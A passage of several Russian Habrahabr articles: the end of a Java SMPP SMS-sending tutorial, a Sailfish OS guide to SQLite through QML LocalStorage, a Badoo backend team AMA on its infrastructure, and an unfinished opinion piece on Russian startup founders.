основе ошибок, которые может возвращать SMPP сервер провайдера, ссылка тут . Метод отправки смс public SingleSmppTransactionMessage sendSmsMessage(final SMSMessage message) { final String bodyText = message.getTextBody(); final int smsLength = bodyText.length(); OptionalParameter messagePayloadParameter; String transportId = null; String error = null; boolean isUSC2 = false; boolean isFlashSms = message.isFlash(); StopWatchHires watchHires = new StopWatchHires(); watchHires.start(); log.debug("Start to send sms id {} length {}", message.getSmsId(), smsLength); try { byte[] encoded; if ((encoded = Gsm0338.encodeInGsm0338(bodyText)) != null) { messagePayloadParameter = new OptionalParameter.OctetString( OptionalParameter.Tag.MESSAGE_PAYLOAD.code(), encoded); log.debug("Found Latin symbols in sms id {} message", message.getSmsId()); } else { isUSC2 = true; messagePayloadParameter = new OptionalParameter.OctetString( OptionalParameter.Tag.MESSAGE_PAYLOAD.code(), bodyText, "UTF-16BE"); log.debug("Found Cyrillic symbols in sms id {} message", message.getSmsId()); } GeneralDataCoding dataCoding = getDataCodingForServer(isUSC2, isFlashSms); log.debug("Selected data_coding: {}, value: {}, SMPP server type: {}", dataCoding.getAlphabet(), dataCoding.toByte(), server.getServerType()); transportId = session.submitShortMessage( "CMT", TypeOfNumber.ALPHANUMERIC, NumberingPlanIndicator.UNKNOWN, message.getSender(), TypeOfNumber.INTERNATIONAL, NumberingPlanIndicator.ISDN, message.getPhone(), ESM_CLASS, ZERO_BYTE, ONE_BYTE, null, null, rd, ZERO_BYTE, dataCoding, ZERO_BYTE, EMPTY_ARRAY, messagePayloadParameter); } catch (PDUException e) { error = e.getMessage(); // Invalid PDU parameter log.error("SMS id:{}. Invalid PDU parameter {}", message.getSmsId(), error); log.debug("Session id {}, state {}. {}", session.getSessionId(), session.getSessionState().name(), e); } catch (ResponseTimeoutException e) { error = analyseExceptionMessage(e.getMessage()); // Response timeout log.error("SMS id:{}. Response timeout: {}", message.getSmsId(), e.getMessage()); log.debug("Session id {}, state {}. {}", session.getSessionId(), session.getSessionState().name(), e); } catch (InvalidResponseException e) { error = e.getMessage(); // Invalid response log.error("SMS id:{}. Receive invalid response: {}", message.getSmsId(), error); log.debug("Session id {}, state {}. {}", session.getSessionId(), session.getSessionState().name(), e); } catch (NegativeResponseException e) { // get smpp error codes error = String.valueOf(e.getCommandStatus()); // Receiving negative response (non-zero command_status) log.error("SMS id:{}, {}. Receive negative response: {}", message.getSmsId(), message.getPhone(), e.getMessage()); log.debug("Session id {}, state {}. {}", session.getSessionId(), session.getSessionState().name(), e); } catch (IOException e) { error = analyseExceptionMessage(e.getMessage()); log.error("SMS id:{}. IO error occur {}", message.getSmsId(), e.getMessage()); log.debug("Session id {}, state {}. {}", session.getSessionId(), session.getSessionState().name(), e); } catch (Exception e) { error = e.getMessage(); log.error("SMS id:{}. Unexpected exception error occur {}", message.getSmsId(), error); log.debug("Session id {}, state {}. {}", session.getSessionId(), session.getSessionState().name(), e); } watchHires.stop(); log.info("Sms id:{} length {} sent with transaction id:{} from {} to {}, duration {}", message.getSmsId(), smsLength, transportId, message.getSender(), message.getPhone(), watchHires.toHiresString()); return new SingleSmppTransactionMessage(message, server.getId(), error, transportId); } private GeneralDataCoding getDataCodingForServer (boolean isUCS2Coding, boolean isFlashSms){ GeneralDataCoding coding; if (isFlashSms) { coding = isUCS2Coding ? UCS2_CODING : DEFAULT_CODING; } else { coding = isUCS2Coding ? UCS2_CODING_WITHOUT_CLASS : DEFAULT_CODING_WITHOUT_CLASS; } return coding; } /** * Analyze exception message for our problem with session * While schedule reconnecting session sms didn't send and didn't put to resend */ private String analyseExceptionMessage(String exMessage){ if(Objects.isNull(exMessage)) return exMessage; if (exMessage.contains("No response after waiting for")) return SmppResponseError.RECONNECT_RSPCTIMEOUT.getErrCode(); else if (exMessage.contains("Cannot submitShortMessage while")) return SmppResponseError.RECONNECT_CANNTSUBMIT.getErrCode(); else if (exMessage.contains("Failed sending submit_sm command")) return SmppResponseError.RECONNECT_FAILEDSUBMIT.getErrCode(); return exMessage; } В следующей статье я опишу метод отправки смс использующий UDH, ссылка будет здесь. Этот вариант обязывает Вас переводит сообщение в байты, после чего делить их на подсообщения и в первых битах указывать их нумерацию и количество. Будет весело. Github-ссылка . Надеюсь моя статья упростит Вам разработку SMPP сервиса. Спасибо за прочтение.
https://habrahabr.ru/post/310828/
habrahabr
Разработка для Sailfish OS: работа с LocalStorage
['мобильная разработка', 'sailfish os', 'qml', 'sqlite']
Здравствуйте! Данная статья является продолжением цикла статей, посвященных разработке для мобильной платформы Sailfish OS. В этот раз мы решили рассказать о приложении для контроля финансов,...
Здравствуйте! Данная статья является продолжением цикла статей, посвященных разработке для мобильной платформы Sailfish OS. В этот раз мы решили рассказать о приложении для контроля финансов, позволяющее пользователю вести журнал доходов и расходов, а также откладывать средства для осуществления целей. Стоит упомянуть, что данное приложение является одним из победителей хакатона по Sailfish OS в Ярославле, организованного компанией «Открытая Мобильная Платформа» и ассоциацией FRUCT. Описание Наше приложение включает в себя два отдельных модуля. Первый из них предназначен для работы непосредственно с операциями. Второй позволяет пользователю создавать цели и отслеживать прогресс накопления. Модуль для работы с операциями позволяет пользователю фиксировать доходы и расходы, а также отображать эти операции в виде журнала: Как можно увидеть из скриншота экрана добавления, для каждой операции определена категория. Данная классификация помогает пользователю проще ориентироваться в своих финансах. Помимо стандартных категорий, пользователь может добавлять свои, тем самым подстраивая приложение под свой образ жизни. Кроме этого, приложение предоставляет возможность просматривать статистику за различные промежутки времени, чтобы пользователь мог проанализировать свои расходы и в дальнейшем их оптимизировать: Второй модуль приложения предоставляет возможность создавать задачи для накопления денежных средств на какие-либо цели. Пользователь может фиксировать в приложении информацию о том, сколько он откладывает средств на ту или иную цель, и отслеживать прогресс, тем самым дополнительно мотивируя себя на выполнение своих задач: Работа с базой данных В данной статье было решено акцентировать внимание на работе с базой данных непосредственно из QML файлов. Для реализации этой задачи была использована библиотека LocalStorage , позволяющая организовывать доступ к базам данных SQLite, хранящимся на устройстве. Для отделения логики работы с БД от элементов вида был создан QML объект для доступа к данным (data access object или попросту DAO ), управляющий всеми соединениями с базой и предоставляющий более удобный интерфейс для работы с данными. Соединения с базой данных открываются с помощью глобального объекта синглтона LocalStorage . На нем вызывается метод openDatabaseSync() , который непосредственно открывает соединение или создает базу, если она не была создана ранее. Все соединения автоматически закрываются при сборке мусора. Ниже приведена часть кода файла Dao.qml: import QtQuick 2.0 import QtQuick.LocalStorage 2.0 Item { Component.onCompleted: { database = LocalStorage.openDatabaseSync("SaveYourMoneyDatabase", "1.0") } //... } Транзакции и запросы при работе с БД оформлены как функции JS: для получения результатов требуются callback-функции, вызываемые по окончании выполнения операций. На полученном объекте соединения можно вызывать методы readTransaction() и transaction() , которые создают транзакцию на чтение или изменение данных и передают ее callback-функции, указываемой в качестве аргумента этих методов. Внутри этих функций могут быть вызваны методы executeSql() , содержащие SQL-запросы. В нашем приложении потребовалось создать базу данных с тремя таблицами: TransactionsTable для хранения операций, GoalTable для целей и CategoriesTable для категорий операций: Component.onCompleted: { database = LocalStorage.openDatabaseSync("SaveYourMoneyDatabase", "1.0") database.transaction(function(tx) { tx.executeSql("CREATE TABLE IF NOT EXISTS TransactionsTable( id INTEGER PRIMARY KEY AUTOINCREMENT, date TEXT, sum INTEGER, category_id INTEGER, type INTEGER, goal_id INTEGER, description TEXT)"); tx.executeSql("CREATE TABLE IF NOT EXISTS CategoriesTable( id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, type INTEGER)"); tx.executeSql("CREATE TABLE IF NOT EXISTS GoalTable( id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, sum INTEGER, isFinished INTEGER)"); // ... } }); } Стоит упомянуть, что операции по созданию БД и ее инициализации необходимо помещать внутри обработчика сигнала Component.onCompleted для выполнения в момент создания объекта Dao. Метод, добавляющий новую запись в таблицу операций, выглядит следующим образом: function createTransaction(date, sum, category_id, type, description) { database.transaction(function(tx) { tx.executeSql("INSERT INTO TransactionsTable(date, sum, category_id, type, description) VALUES(?, ?, ?, ?, ?)", [date, sum, category_id, type, description]); }); } Метод, извлекающий список целей, будет выглядеть следующим образом: function retrieveGoals(isFinished, callback) { database = LocalStorage.openDatabaseSync("SaveYourMoneyDatabase", "1.0"); database.readTransaction(function(tx) { var result = tx.executeSql("SELECT * FROM GoalTable WHERE isFinished = ? ORDER BY id ASC", [isFinished]); callback(result.rows) }); } Здесь результатом выполнения executeSql() является объект, содержащий свойство rows со списком всех результирующих записей. Чтобы получить i-ый элемент, достаточно вызвать метод rows.item(i) . Количество элементов доступно по свойству rows.length . Пример использования описанного метода: Dao { id: dao } SilicaListView { id: listView model: GoalListModel { id: goalsListModel } delegate: ListItem { // ... } // ... } function displayGoals() { listView.model.clear(); dao.retrieveGoals(true, function(goals) { for (var i = 0; i < goals.length; i++) { var goal = goals.item(i); listView.model.addGoal(goal.id, goal.name, goal.sum); } }); } Component.onCompleted: displayGoals(); В данном коде видно, что значения полей записи из БД, доступны в качестве свойств объекта var goal = goals.item(i) . Учитывая это, запрос с вычисляемым полем будет выглядеть: function retrieveGoalStatistics(callback) { database = LocalStorage.openDatabaseSync("SaveYourMoneyDatabase", "1.0"); database.readTransaction(function(tx) { var result = tx.executeSql("SELECT SUM(sum) AS goalSum FROM GoalTable WHERE isFinished = 0"); callback(result.rows.item(0).goalSum) }); } Также в нашем приложении добавлена фильтрация записей по датам. Как известно, SQLite не имеет стандартного типа для работы с датами. Вместо этого SQLite поддерживает пять функций для работы с датой и временем. Все даты внутри БД мы храним в виде строки в формате ISO8601. Пример запроса на извлечение даты самой ранней операции выглядит следующим образом: function retrieveDateOfFirstTransaction(callback) { database = LocalStorage.openDatabaseSync("SaveYourMoneyDatabase", "1.0"); database.readTransaction(function(tx) { var result = tx.executeSql("SELECT MIN(date(date)) as minDate FROM TransactionsTable"); callback(result.rows.item(0).minDate) }); } На стороне QML при работе с датами используется QML класс Date , наследуемый от класса Date из Javascript. Чтобы продолжить работу с результатом запроса необходимо выполнить: dao.retrieveDateOfFirstTransaction(function(result){ startDate = new Date(result); }); Чтобы преобразовать объект обратно к строке в формате ISO8601, необходимо использовать метод toISOString() . Заключение В результате было создано приложение, позволяющее хранить информацию о финансах пользователя. Приложение было опубликовано в магазине приложений Jolla Harbour под названием Save Your money и доступно для скачивания всем желающим. Исходники приложения доступны на Bitbucket . Технические вопросы можно также обсудить на канале русскоязычного сообщества Sailfish OS в Telegram или группе ВКонтакте . Автор: Дарья Ройчикова
https://habrahabr.ru/post/317252/
habrahabr
Спроси backend-разработчиков Badoo. Часть 1. Платформа
['AMA', 'С', 'Go', 'php', 'Платформа', 'задай вопрос']
Нам очень нравится формат AMA (ask me anything) на Reddit, когда кто-нибудь (в нашем случае – команда разработчиков) приходит в сабреддит AMA и говорит, что готов отвечать на заданные вопросы....
Нам очень нравится формат AMA (ask me anything) на Reddit, когда кто-нибудь (в нашем случае – команда разработчиков) приходит в сабреддит AMA и говорит, что готов отвечать на заданные вопросы. Из самых запоминающихся сессий Ask Me Anything, например, команда инженеров Space X , или инженеры из Google , и даже действующий президент США Барак Обама четыре года назад отвечал на вопросы на Реддите . Недавно наша Android-команда проводила AMA и в онлайн-режиме отвечала на вопросы разработчиков. Но в России нет своего Реддита. Зато есть свой Хабр. Поэтому мы решили прийти с форматом «задай нам вопрос» сюда. И не с пустыми руками, как велят правила AMA. Чтобы вам было проще понять тему, мы выбрали одну из наших команд – «Платформу» – и попросили ребят рассказать, чем они занимаются, на чём программируют и чего добились за время существования команды. И подвели небольшие итоги уходящего 2016 года. Поехали! Оглавление 1. Чем занимается «Платформа» 2. Сервисы: Pinba, SoftMocks и другие 3. Системное программирование. Как мы начали использовать Go и к чему это привело 4. Фотографии 5. Скриптовое облако 6. LSD: Live Streaming Daemon 7. Cassandra Time Series: что это и как работает 8. Badoo AMA: задай вопрос разработчикам «Платформы» Пруф , что это действительно мы. Чем занимается «Платформа» Антон Поваров , einstein_man , руководитель «Платформы» Михаил Курмаев , demi_urg , руководитель команды A-Team «Платформа» – это инфраструктурная команда, которая помогает другим подразделениям. Наша основная цель – сделать так, чтобы всем было хорошо, чтобы всё работало, программисты были довольны и могли спокойно писать код без оглядки на всякие сложные штуки. Мы – backend для backend. «Платформа» состоит из двух команд: команда С-программистов (пишут на С, но в последнее время – и на Go) и А-Team (пишут на PHP и местами тоже на Go). Сишники пишут сервисы, делают PHP extensions. A-Team занимается PHP и database-инфраструктурой, а также разработкой и поддержкой инструментов для других команд. Если говорить о конкретных проектах с точки зрения того, что видит пользователь (то, что он использует), то мы занимаемся: фотографиями: вся инфраструктура хранения и отдачи лежит на нас; у нас есть своё скриптовое облако (это «распределённый крон», который позволяет нам запускать офлайн-обработчики на облаке машин); отвечаем за все «обертки» к сервисам (предоставляем остальным командам Badoo удобные доступы к сервисам, потому что у нас есть шардинг, есть самописные способы репликации). За «обертки» мы отвечаем, потому что хочется скрыть все эти внутренности от backend-разработчиков других команд, чтобы упростить их работу и не допускать непредвиденных ситуаций, когда всё, чем мы занимаемся из основных задач, внезапно сломалось. Сервисы: Pinba, SoftMocks и другие Некоторые из наших внутренних сервисов со временем выросли в полноценные продукты и даже стали стандартом де-факто в экосистеме PHP. Самые известные из них – это PHP-FPM (сейчас он стал частью стандартной поставки PHP для веба), его написал Андрей Нигматулин ( доклад на эту тему можно посмотреть здесь ), и Pinba (http://pinba.org/), сервис для получения realtime-статистики от работающих приложений без накладных расходов на её сбор (UDP), с помощью которого легко понимать, что происходит с производительностью вашего приложения в любой момент времени. Pinba удобна тем, что позволяет нам всё время собирать данные. И эти данные будут под рукой всегда, когда нужно разобраться в причине проблемы. Это удобно и значительно сокращает время, затрачиваемое на поиск и устранение проблемы. Не менее важно и то, что Pinba помогает увидеть проблему заранее, когда она ещё не затронула юзеров. Ещё мы придумали и сделали SoftMocks, это наш собственный фреймворк, облегчающий unit-тестирование, который позволяет подменять классы и функции в тестах. Нам пришлось создать его в связи с переходом на PHP7, в котором была сильно переработана внутренняя архитектура интерпретатора, и наш старый Runkit просто перестал работать. На тот момент у нас было около 50к юнит-тестов, большинство из которых так или иначе используют моки для изоляции внешнего окружения, и мы решили попробовать другой подход, потенциально более мощный, чем Runkit/ Uopz. Одними из основных преимуществ SoftMocks являются независимость от внутренней структуры интерпретатора и отсутствие необходимости в каких-либо сторонних расширениях PHP. Это достигается за счёт выбранного нами подхода – переписывание исходного кода программы на лету, а не динамическая подмена внутри интерпретатора. На данный момент проект выложен в open-source , и им может воспользоваться любой желающий. Вы, возможно, знаете о том, у нас в Badoo очень сильная команда PHP-разработчиков. Поэтому нет ничего удивительного в том, что мы оказались в числе первых компаний, которые перевели проект такого масштаба (как Badoo) на PHP 7 в этом, 2016-м, году. Прочитать о том, как мы пришли к этому, с чем столкнулись и что получили, можно в этом посте . Системное программирование. Как мы начали использовать Go и к чему это привело Марко Кевац , mkevac , программист в отделе C/C++ В отделе C/C++ мы разрабатываем высокопроизводительные in-memory демоны, которые обрабатывают сотни тысяч запросов в секунду и хранят сотни гигабайт данных в памяти. Среди них можно найти такие вещи, как поисковые демоны, использующие bitmap-индексы и осуществляющие поиск по ним с использованием самописного JIT, или умный прокси, который обрабатывает соединения и запросы всех наших мобильных клиентов. При необходимости мы расширяем язык PHP под наши нужды. Какие-то патчи отправляются в апстрим, какие-то – слишком специфичны для нас, а какие-то вещи удаётся сделать в виде загружаемых модулей. Мы пишем и поддерживаем модули для NGINX, занимающиеся такими вещами, как шифрование урлов и данных и быстрая обработка фотографий «на лету». Мы – хардкорные системные программисты, но при этом прекрасно понимаем все недостатки программирования на С/C++: медленная разработка, потенциальные ошибки, сложность программирования с использованием потоков. С самого появления Go, новомодного, молодёжного и многообещающего языка от Google, мы им заинтересовались. И почти сразу же после выхода первой стабильной версии в 2012 году мы начали рассматривать возможность его применения в production. Go обещал быть близким по духу и производительности нашему любимому С, но позволял делать прототипы и даже конечные продукты заметно быстрее и с меньшим количеством ошибок. И тот факт, что Go являлся синонимом конкурентности с его каналами и горутинами, особенно возбуждал нашу фантазию. В тот момент у нас появилась новая крутая и очень срочная задача по поиску пересечений между людьми в реальном мире. Послушав требования, мы чуть ли не хором воскликнули: «Это задача для Go!» Требовалось потоково обработать большое количество координат пользователей, правильно их пересечь в нескольких «координатах», включая время, и выдать какой-то результат. Очень много взаимодействий между частями, очень много параллельных вычислений. Словом, именно то, что является базовой задачей для Go. Прототип был сделан тремя людьми за неделю. Он работал. Он работал хорошо. И мы поняли, что Go у нас приживётся. В 2015 году Антон Поваров подробно рассказал в своём выступлении о Go в Badoo. Но нельзя сказать, что наш роман был идеальным. Go на тот момент был совсем молодым языком с кучей проблем, а мы сразу же начали писать продукты, которые обрабатывали десятки тысяч запросов в секунду и потребляли почти 100 гигабайт памяти. Нам приходилось оптимизировать наши сервисы, чтобы не делать лишних аллокаций памяти напрямую и чтобы компилятор Go не решал делать эти аллокации за нас. И здесь красота и удобство Go снова проявили себя. С самого начала Go обладал отменными средствами для профилирования производительности, потребления памяти, для того, чтобы видеть, когда компилятор решает выделить какой-то кусок на куче, а не на стеке. Наличие этих средств сделало оптимизацию интересным и познавательным приключением, а не мукой. В первом же проекте нам нужно было использовать существующую библиотеку для геовычислений, написанную на C. Так что мы окунулись в самую гущу проблем и нюансов взаимодействия этих двух языков. Поскольку Go стал инициативой «снизу», нам нужно было постараться, чтобы наши коллеги и менеджеры не отвергли нашу идею сразу. Мы понимали, что нужно сделать так, чтобы со стороны эксплуатации проект на Go никак не отличался от проекта на C: такие же конфиги в JSON, те же протоколы взаимодействия (основной protobuf и дополнительный на JSON), та же стандартная статистика, которая уходит в RRD. Нам надо было сделать так, чтобы со стороны релиз инжиниринга проекта на Go никак не отличался от проекта на C: тот же самый Git + TeamCity Flow, та же сборка в TeamCity, тот же процесс выкладки. И у нас это получилось. Администраторы, эксплуатация и релиз-инженеры не задумываются о том, на чём написан проект. Мы поняли, что теперь можно не стесняться использовать новые инструменты, так как они прекрасно показали себя на практике (в некритичных задачах, как и положено для начала). Мы не создавали ничего с нуля – мы встраивали Go в существующую много лет инфраструктуру. Этот факт ограничивал нас в использовании каких-то вещей, которые для Go являются стандартными. Но именно этот факт вкупе с тем, что мы сразу начали писать серьёзный высоконагруженный проект, позволил нам окунуться в язык по уши. Мы знатно испачкались, скажу я вам, но эта близость помогла нам «срастись» с этим прекрасным языком. Интересно было наблюдать, как с каждой выходящей версией Go рос, как ребёнок, превращающийся во взрослого человека. Мы видели, как паузы GC на наших демонах таяли с каждой новой версией, и это без изменения кода с нашей стороны! Сейчас, спустя четыре года работы с этим языком, у нас около десятка самых разноплановых сервисов на Go в трёх командах и ещё несколько новых в планах. Go прочно вошёл в наш арсенал. Мы знаем, как его «готовить» и когда его стоит применять. Спустя столько лет интересно слышать, как программистами регулярно говорятся такие вещи, как «да набросай быстренько прототип на Go» или «тут столько параллельности и взаимодействий, это работа для Go». Фотографии Артём Денисов , bo0rsh201 , старший PHP-программист Фотографии являются одним из ключевых компонентов Badoo с точки зрения продукта, и мы просто обязаны уделять инфраструктуре их хранения и показа много внимания. На данный момент мы храним около 3 ПБ фотографий, каждый день пользователи заливают около 3,5 млн новых снимков, а нагрузка на чтение составляет около 80k req/sec на каждой площадке. Концептуально это устроено следующим образом. У нас есть три точки присутствия в трёх дата-центрах (в Майами, Праге и Гонконге), которые обеспечивают локальность к большинству наших целевых рынков. Первый слой инфраструктуры – это кэширующие серверы с быстрыми SSD дисками, которые обрабатывают 98% входящего трафика, на них работает наш собственный мини-CDN – это кэширующий прокси, оптимизированный под наш характер нагрузки, на котором также работает много утилитарной/ продуктовой логики (ACL, resize, наложение фильтров и watermark’ов на лету, circuit breaker и т. д.). Следующий слой – кластер из пар серверов, ответственных за долговременное хранение, часть из которых имеет локальные диски, на которых непосредственно хранятся фотографии, а часть подключена по оптике к третьему слою – Storage Area Network. Эти пары машин обслуживают одинаковые диапазоны пользователей и работают в режиме master – master, полностью реплицируя и резервируя друг друга через асинхронную очередь. Наличие таких пар позволяет нам иметь отказоустойчивость не только на уровне жёстких дисков, но и на уровне физических хостов (kernel panic, reboot, blackout и т. д.), а также легко проводить плановые работы и без деградации сервиса переживать сбои, которые при больших масштабах не являются редкостью. Более подробно о нашей работе с фотографиями Артём Денисов рассказал в этом году на Highload++ . Скриптовое облако Ни для кого не секрет, что в любом проекте, помимо действий, которые выполняются в контексте запроса пользователя, существует большое количество фоновых задач, выполняемых отложенно или по определённому расписанию. Обычно для их запуска применяют какой-то планировщик background worker’ов (в простейшем случае это cron). С ростом количества таких задач и количества потребляемых ими ресурсов, которые постепенно перестают влезать на одну, а иногда и на несколько десятков физических машин, управлять этими кронами и балансировать нагрузку вручную для каждой ноды из кластера становится сложновато. Так возникла необходимость создания нашего облака – гибкой инфраструктуры для прозрачного запуска девелоперских задач. Работает это примерно следующим образом: 1) Разработчик описывает job в виде PHP-класса, который реализует один из нескольких интерфейсов (крон-скрипт, разборщик очереди, обходчик баз и т.д… 2) Добавляет его через веб-интерфейс в облако, выбирает параметры для частоты запуска, тайм-ауты и ограничения по ресурсам. 3) Далее система сама запускает этот job на распределённой инфраструктуре, которая выделена под облако, следит за его выполнением и балансирует нагрузку на кластер. Девелоперу остаётся лишь следить за статусом работы своего job’а и смотреть логи через Web UI (сколько инстансов запущено, какие настройки, какие запуски как завершились). На данный момент в облаке у нас порядка 2000 хостов в двух ДЦ ~ 48k CPU cores/ 84Tb memory. 1800 пользовательских заданий генерируют около 4 000 запусков в секунду. Об облаке мы рассказывали тут и тут . LSD: Live Streaming Daemon Каждый, кто работает с большими объёмами данных, так или иначе сталкивается с задачей их стриминга. Как правило, мы стримим какие-то данные из большого количества разных источников в одно место, чтобы там централизованно их обработать. Причём тип этих данных зачастую не играет роли: мы стримим логи приложений, статистические данные, пользовательские события и многое другое. Концептуально мы используем два разных подхода для решения этой задачи: 1) Нашу собственную реализацию сервера очередей для доставки событий, связанных с логикой продукта/ приложения. 2) Более простой механизм для стриминга различных логов, статистических метрик и просто больших объёмов данных со множества нод, которые надо централизованно агрегировать и обрабатывать большими пачками в одном месте. Для второй задачи мы долгое время использовали Scribe от Facebook , но с увеличением количества прокачиваемых через него данных он становился всё менее и менее предсказуемым и уже давно предан забвению. В итоге в какой-то момент нам стало выгоднее написать своё решение (благо эта задача не выглядит очень сложной), которое было бы легче поддерживать. Собственную стримилку событий мы назвали LSD: Live Streaming Daemon. Ключевые особенности LSD: транспорт в виде строк из plain файлов (для клиента нет ничего надёжнее, чем запись данных в файл локальной FS); клиенты не блокируются при записи, даже если все серверы-приёмники недоступны (буфер скапливается в локальной FS); прозрачный контроль/ настройка лимитов на потребление сетевых/ дисковых ресурсов; совместимый со scribe формат записи/ способ агрегации файлов на приёмнике. В этом году мы опубликовали исходный код LSD, и теперь вы можете использовать его в своих проектах. Cassandra Time Series: что это и как работает Евгений Гугучкин , che , старший PHP-программист Badoo – сложная система, состоящая из множества связанных компонентов. Оценить состояние этой системы – непростая задача. Для того чтобы это сделать, мы собираем более 250 миллионов метрик со скоростью около 200 000 значений в секунду, и эти данные занимают примерно 10 ТБ. Исторически для хранения и визуализации временных рядов мы использовали известную утилиту RRDtool, «обернувши» её своим фреймфорком для удобства работы. Что нам нравилось в RRDtool, так это скорость чтения. Однако существуют и серьёзные недостатки: высокая нагрузка на диски, порождаемая большим количеством операций ввода/ вывода с произвольным доступом (эту проблему мы решили использованием SSD и RRDcached); отсутствие возможности записи задним числом: то есть если мы записали значение на момент времени 2016-01-01 00:00:00, то записать следом значение за 2015-12-31 23:59:59 уже не получится); довольно расточительное использование места на диске для разреженных данных; доступ к данным осуществляется локально: невозможно из коробки построить распределённую систему с горизонтальным масштабированием. Именно последний пункт стал для нас решающим, потому что без него мы не могли отобразить на одном графике метрики с разных серверов. В итоге мы провели подробнейший анализ существующих решений в области time series баз данных, убедились, что ни одно нам не подходит, и написали своё решение на основе Cassandra. На данный момент половина наших реальных данных дублируется в новое хранилище. В цифрах это выглядит так: девять серверов; 10 Тб данных; 100 000 значений в секунду; 140 миллионов метрик. При этом мы решили практически все задачи, которые перед нами стояли: выход из строя одной ноды в кластере не блокирует ни чтение, ни запись; есть возможность дописывать, а также переписывать «сырые» данные, если они не старше недели (окно, в котором можно менять данные, можно настраивать и менять в процессе эксплуатации); простое масштабирование кластера; нет необходимости использовать дорогие SSD диски; более того, можно не использовать RAID-массивы из HDD с резервированием, поскольку при замене диска нода способна восстанавливать данные с соседних реплик. Мы очень гордимся проделанной работой по анализу существующих решений и построению нового. Мы наступили на бесчисленное количество грабель при работе с Cassandra и с удовольствием ответим на ваши вопросы, поделимся нашим опытом. Badoo AMA: задай вопрос разработчикам «Платформы» И теперь, собственно, то, зачем мы публикуем этот пост. Сегодня с 12:00 и до 19:00 (по московскому времени), команда «Платформы», будем отвечать на ваши вопросы. Мы много всего пережили за время существования команды: мы расширялись, менялись, учились, сталкиваясь с какими-то проблемами, приходили к новым языкам программирования. И мы готовы поделиться с вами нашим опытом (в том числе рассказать про фейлы, факапы и нашу боль). Например, спрашивайте про: устройство наших внутренних проектов (как устроен наш шардинг, как мы собираем и рисуем статистику, как общаемся с сервисами); то, на какие грабли мы наступали, почему принимали те или иные решения (что мы делали, когда перестали умещаться на одном сервере, в одном ДЦ); настройку работы сильной команды PHP/ С-программистов; переход на PHP 7 (с какими проблемами можно столкнуться); особенности работы с высоконагруженным проектом; рекомендации PHP- и Go-программистам; всё, что описано выше в посте. Но не ограничивайтесь этим! UPD: Спасибо всем за вопросы, мы заканчиваем нашу сессию AMA, но будем продолжать отвечать, только не так оперативно. Поэтому – спрашивайте еще.
https://habrahabr.ru/company/badoo/blog/317442/
habrahabr
Что плохо умеют российские стартаперы
['стартапы', 'развитие', 'навыки', 'свой бизнес']
Всем известно, что в России самые лучшие программисты. А вот по количеству (и качеству) стартапов мы сильно отстаем. Можно и нужно гордиться нашими командами, получившими, в том числе, и...
Всем известно, что в России самые лучшие программисты. А вот по количеству (и качеству) стартапов мы сильно отстаем. Можно и нужно гордиться нашими командами, получившими, в том числе, и международное признание. Но нужно отдавать отчет, что в США таких команд в разы больше. Есть, конечно, объективные причины такого отставания. Количество денег в Silicon Valley намного больше, чем в Российской Федерации. В нашу страну пока не готовы серьезно вкладываться (за определенными исключениями). Но я выделил еще четыре качества, которые есть у американских стартаперов, но зачастую отсутствуют у российский. И отсутствие этих качеств серьезно мешают появлению новых ИТ-компаний на просторах нашей Родины. Disclaimer Понятно, что всё высказанное в данной статье — это только моё мнение, которое не обязано совпадать с мнением читателей. Итак, российские стартаперы плохо умеют: 1. Презентовать свои разработки Американцев с детства учат красиво говорить и правильно выражать свои мысли. Они делают доклады, участвуют в диспутах, выбирают президентов класса. В результате в профессиональную жизнь средний американец отправляется с умением четко излагать свои мысли, красиво и связно говорить. Наши программисты талантливы, но зачастую нелюдимы. Они не любят публики и долгого общения. Им проще написать крутой продукт, чем сделать о нем сносную презентацию на 20 слайдов. Что делать? Учить общаться, восполняя недополученные в детстве навыки. Или по-крайней мере культивировать их в не столь талантливых, но более социально-активных программистах, превращая их в управленцев. 2. Взаимодействовать с инвесторами Американцы привыкли к инвесторам, они понимают их логику и правила игры. Они знают, что это такие люди / компании, которые пришли заработать на них некоторое количество денег. Значит показать этим инвесторам нужно именно потенциал роста стоимости компании. (Тут необходимо маленькое отступление — американские инвесторы настроены на долгосрочные вложения. Поэтому они не ждут мгновенной прибыли или даже выхода на окупаемость. Для них больше важна доля рынка и, как следствие, рост капитализации компании. А вот когда компания захватит рынок, её можно будет выгодно продать или придумать модель монетизации. Российские инвесторы не такие «добрые», им нужна прибыль на достаточно коротком горизонте.) Наши стартаперы зачастую воспринимают инвесторов как «волшебников в голубых вертолётах» с кучей денег и готовы рассказывать им о своём замечательном продукте. А инвесторы хотят услышать цифры. Как будет происходить захват доли рынка, примерный объем этого самого потенциального рынка, сроки окупаемости и т.д. К сожалению для наших разработчиков, они не привыкли мыслить такими категориями. Что делать? Нанимать для подготовки инвест-предложения и для общения с инвесторами внешних временных консультантов. Нанимает же бизнес программистов-фрилансеров. 3. Продавать свои разработки У американцев еще в 50-е была поговорка «сделать-то просто, а ты продай!». Переполненные после Великой депрессии рынки диктовали свои правила. С тех пор главные люди в американских компаниях — продавцы и те, кто развивает бизнес. Именно вокруг них построены все стартапы прошлого и нашего времени. Возняк был технологическим гением, но Apple Computers «взлетел» благодаря Стиву Джобсу. В нашей стране всегда во главу угла ставилось производство. Вначале шло восстановление после гражданской войны, потом индустриализация, потом восстановление после Великой Отечественной, затем массовое строительство жилья, штурм космоса, массовый выпуск товаров народного потребления. Спрос находился сам, а вот талантливые инженеры (такие как Королёв) всегда были на вес золота. именно поэтому наши стартапы обычно строятся вокруг создателей продукта, которые не имеют достаточного опыта, чтобы вывести его на рынок. Что делать? Программистам придется позвать в компанию хороших продавцов и дать им право голоса в управлении компании. Ну или вырастить из себя универсальную личность уровня Эдисона — пожалуй единственного успешного изобретателя и коммерсанта в одном лице. 4. Спокойно относиться к своим продуктам Для американцев главное не продукт, а финансовый результат компании. Они в первую очередь не творцы, а бизнесмены. Пожалуй, единственным исключением являлся Стив Джобс, но и для него коммерческий результат и качество продукта были тесно связаны. Если для дела нужно изменить продукт, обрезать функционал, вообще прекратить разработку — американцы это тут же сделают. Их программисты скорее ремесленники. Наши программисты — творцы! Их продукты — их детища. Что-то поменять??? Да они же ночей не спали, оттачивая этот функционал! Пригласить внешних разработчиков?? Ага, чтобы они своими руками полезли в качественный код?! Написать какой-то блок, о котором просят продавцы?? Ребята, я еще не закончил с действительно красивой штукой, которая денег может и не принесёт, но уж больно интересно реализуется! Примерно такая ситуация сложилась у меня в моём прошлом проекте, когда разработчик-основатель считал любые 